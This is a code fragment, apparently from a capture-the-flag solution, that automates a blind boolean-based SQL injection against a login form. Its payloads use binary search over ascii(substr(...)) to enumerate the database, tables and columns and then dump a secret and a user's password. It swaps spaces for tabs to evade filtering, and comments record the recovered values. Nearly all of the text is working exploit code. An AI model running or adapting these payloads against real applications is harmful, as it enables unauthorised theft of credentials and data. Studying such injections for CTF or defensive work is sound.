# payload = f"' OR ascii(substr(database() from {i} for {i})) > {mid}#" # testdb # payload = f"' OR ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='testdb') from {i} for {i})) > {mid}#" # double_check,user # payload = f"' OR ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='double_check') from {i} for {i})) > {mid}#" # secret # payload = f"' OR ascii(substr((select group_concat(secret) from double_check) from {i} for {i})) > {mid}#" # dtfrtkcc0czkoua9S # payload = f"' OR ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user') from {i} for {i})) > {mid}#" # username,password # payload = f"' OR ascii(substr((select group_concat(username) from user) from {i} for {i})) > {mid}#" # yudeyoushang payload = f"' OR ascii(substr((select group_concat(password) from user) from {i} for {i})) > {mid}#" # zhonghengyisheng
data = { 'username': payload.replace(" ", "\t"), 'password': '1' }
result = r.post(url, data=data, allow_redirects=False)
oracle = not "帐号或密码错误"in result.text
if oracle: low = mid + 1 else: high = mid - 1
if high < 0: break
char_ascii = high + 1 if char_ascii == 0: break
value += chr(char_ascii) print(f"Current: {value}") i += 1